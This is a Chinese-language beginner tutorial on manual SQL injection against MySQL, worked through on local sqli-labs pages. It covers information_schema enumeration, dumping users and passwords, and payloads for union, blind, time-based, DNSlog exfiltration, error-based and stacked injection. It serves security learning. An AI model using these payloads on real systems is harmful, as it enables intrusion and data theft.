基础Web漏洞-SQL注入入门(手工注入篇)
一.什么是SQL注入
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。本笔记环境为MySQL数据库。
二.MySQL基本增删查改语法
- 创建与删除数据库
语法规则
创建:CREATE DATABASE database_name
删除:DROP DATABASE database_name - 创建与删除表
语法规则
创建表:
CREATE TABLE table_name(
#字段1 数据类型,
name VARCHAR(20),
id INT(8)
);
- 插入数据
语法规则:INSERT INTO table_name (name,id) VALUES('张三',1); - 删除数据
语法规则:DELETE FROM table_name WHERE id=1; - 查询语句
语法规则:SELECT name FROM table_name WHERE id=1;
三.INFORMATION_SCHEMA库
- information_schema数据库保存了整个Mysql中的所有信息(Mysql5.0以上),可以理解为信息数据库
- information_schema数据库表:
1.SCHEMATA表: 保存了Mysql数据库中所有的库名SHOW DATABASES;的结果就是取自该表的SCHEMA_NAME


查库 :select schema_name from information_schema.schemata;
2.TABLES表: 提供了数据库中每一个库的所有表的名称
查表 :select table_name from information_schema.tables where table_schema='想查表的库名';
3.COLUMNS表: 提供了所有库的所有表的所有字段信息
查列 :select column_name from information_schema.columns where table_name='想查字段的表名';
经过上述三个语句 已经可以查询所有的表和字段信息 就可根据查询语句查询任意信息
栗子: select password,username from security.users; (查询security库中users表中所有password和username信息)

四.MySQL注入常用函数
user();/current_user(); 查询当前用户

@@basedir;数据库安装路径 /@@datadir;数据库路径

@@version_compile_os;查询操作系统版本

- 字符串拼接函数
concat,concat_ws(用字符将参数拼接起来) ,group_concat
例如:select group_concat(concat_ws('~',username,password)) from security.users;

- 字符串截取函数
substr(从第n位开始,截取m位):select substr((selsect username from users limit 0,1),1,2);
mid(从第n位开始,截取m位):select mid('martin',2,3);
left(从左开始,截取n位):select left('martin',2);
right(从右开始,截取n位):select right('martin',2);
locate(返回第一个字符串首次出现在第二个字符出现的位置):select locate('martin','12432martin'); - 返回ASCII字符对应的值(反向用
char)
ascii:select ascii('a');
ord:select ord('a');

- 部分计算
select length(database());当前数据库名称的长度
count计算数目 - 延时函数
select sleep(5);延时5秒 常用于时间盲注
if:语法if(exp1,exp2,exp3);如果exp1为真,执行exp2,否则执行exp3 - 常见注释
#
--+(浏览器常用)
/*/
/*!*/
五.常见的SQL注入类型
- 字符型

根据提示 用GET方法提交ID参数

改变URL 发现报错

查看源码

构造URL:http://127.0.0.1/sqli/Less-1/?id=1' and 1 = 1 --+(1=1 正常 1=2报错)

- 数字型
查看第二关源码

发现与第一关不同的是 id参数数据类型发生了变化 所以构造URL

- 搜索型
常见源码 :$sql="select * from user where password like '%$pwd%' order by password";
若用户输入m'and 1=1 and '%'='则会构成注入
源码中的语句会变成:select * from user where password like '%m'and 1=1 and '%'='%' order by password
六.常用的注入方式
- union注入
- 使用order by语句进行列数的估计


由此可以看出 列数为3列 - 使用union注入(
union select或union all select)

根据前述数据库查询语句 查询有哪些数据库 表名 进而查询详细数据

- 布尔盲注(页面无回显,返回的只有布尔值)
在id后加'没有出现回显

判断是否存在注入与union类似 可以使用length来猜取库名 表名长度 如下图

判断出长度 使用substr来遍历出数据库名的字符
构造:?id=1' and ascii(substr(database(),1,1))>n --+(使用BP爆破) - 时间盲注 (基于Web界面响应的时间差来判断注入)

看出sleep函数已经被带入后端处理了 证明存在注入
构造URL:http://localhost/sqli/Less-9/?id=1%27%20and%20if%20(length(database())=8,sleep(5),1)--+

大体步骤同布尔盲注 只是构造的函数和判断方式改变了一下 - DNSlog盲注
利用条件mysql.ini中secure_file_priv必须为空
构造payload:load_file(concat('\\\\',执行的语句,'.自行注册\\abc'))--+ - 报错注入 (公式化注入 直接插入payload)
1)updatexml payload:?id=1' and (updatexml(1,concat(0x7e,(SQL语句),0x7e),1));--+

2)extractvalue
payload:?id=1' and (extractvalue(1,concat(0x7e,(SQL语句),0x7e)));--+

- floor
payload:?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

- 宽字节注入 (gbk要两个asscii组合解码)
特殊字符被转义 如:

因为使用GBK编码 /被合并成了特殊字符

- 二次注入
将存储到数据库中的数据取出在执行 形成的注入 - http请求头注入
抓包修改http请求头 构成注入 - 堆叠注入 (多条sql一起执行 可以修改数据库中的数据)
如图 新建了一个test表目

以上 就是一些常见的SQL注入知识点
基础Web漏洞-SQL注入入门(手工注入篇)的更多相关文章
- 了解web漏洞-sql注入
1:为什么要学web漏洞? 作为一个运维人员,日常工作就是保障服务器和网站的业务正常运行,平时也需要对服务器的安全工作加固,说到防护攻击问题,那么久必须去了解攻击者是怎么对服务器发动的一个流程,这样才 ...
- SQL注入之手工注入
手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...
- sql工具和手工注入总结
普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...
- WEB漏洞——SQL
由于我的博客是学到渗透的时候才做的,没有关于WEB漏洞的笔记,现在发现WEB层面的漏洞有些不太熟悉了,边写一下笔记边复习一下,就从sql注入开始吧 话不多说先上大佬写的表[ctfhub]SQL注入 - ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- 手工注入——access手工注入实战和分析
今天进行了access手工注入,下面是我的实战过程和总结. 实战环境使用的是墨者学院的在线靶场.下面咱们直接进入主题. 第一步,判断注入点 通过‘ 或者 and 1=1 和 and 1=2 是否报错, ...
- pikachu-字符型注入(get) #手工注入
1.检测注入类型 http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 ...
- pikachu-数字型注入(post)#手工注入
1, 因为是post型,所以需要抓取数据包 2, 测试结果为数字型注入 提交恒等的语句可以查询到所有的数据信息 3, 使用UNION联合查询法 判断字段数,测试为2个字段时没有报错,所以可以判断字段数 ...
- MSSQLServer基础02(SQL语句入门(脚本、命令))
SQL 全名是结构化查询语言(Structured Query Language),是关系数据库管理系统的标准语言 SQL语句是和DBMS“交谈”专用的语句,不同DBMS都认SQL语法. SQL语句中 ...
随机推荐
- instanceof判断问题
有时候我们根据instanceof来判断对象的数据类型 但是 用instanceof判断基本数据类型时 会不靠谱 例如 let str = '123' let str1 = new String(&q ...
- Hadoop的SecondaryNameNode的作用是什么?
为节省篇幅,将SecondaryNameNode简称SNN,NameNode简称NN. NN与fsimage.edits文件 NN负责管理HDFS中所有的元数据,包括但不限于文件/目录结构.文件权限. ...
- Appium学习笔记
1.创建Maven项目 2.POM文件添加java-client依赖坐标 3.修改脚本,执行脚本 UIAutomator2(自动装置引擎) 4723:Appium服务器端口,用来监听脚本发送过来的指令 ...
- soso官方:基于相关排序的判断
http://www.wocaoseo.com/thread-186-1-1.html 议程 概述 检索词 用户的信息需求 网页的自有信息 网页的附属信息 相关性的计算框架 概述 相关性的表象 检索词 ...
- 力扣Leetcode 11. 盛最多水的容器
盛最多水的容器 给你 n 个非负整数 a1,a2,...,an,每个数代表坐标中的一个点 (i, ai) .在坐标内画 n 条垂直线,垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0).找 ...
- 【Flutter 实战】全局点击空白处隐藏键盘
老孟导读:为什么要实现点击空白处隐藏键盘?因为这是 iOS 平台的默认行为,Android 平台由于其弹出的键盘右上角默认带有关闭键盘的按钮,所以点击空白处不会隐藏键盘. 对于单个页面来说,通过为 T ...
- Android(java)开发之将double类型,强制保留到小数点后两位解决方法。
作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985 前提:当我们进行double数据类型与double进行运算的时候,可能会遇到 得到小数点后好多位,但是 ...
- webpack 多页面构建
目标: 基于webpack支持react多页面构建(不用gulp,gulp-webpack 构建速度太慢[3]), generator-react-webpack 对单页面支持很好,但对多页面,需要改 ...
- Oracle12C配置对外访问
Oracle12C配置对外访问 第一步: 开放端口或者关闭防火墙 第二步: 配置Oracle net manager打开Net manager 修改为共享服务器 第三步: 配置连接数打开Databas ...
- Linux远程ssh执行命令expect使用及几种方法
expect命令实现脚本免交互 一.Linux下SSH无密码认证远程执行命令 在客户端使用ssh-keygen生成密钥对,然后把公钥复制到服务端(authorized_keys). 实现步骤: 1.客 ...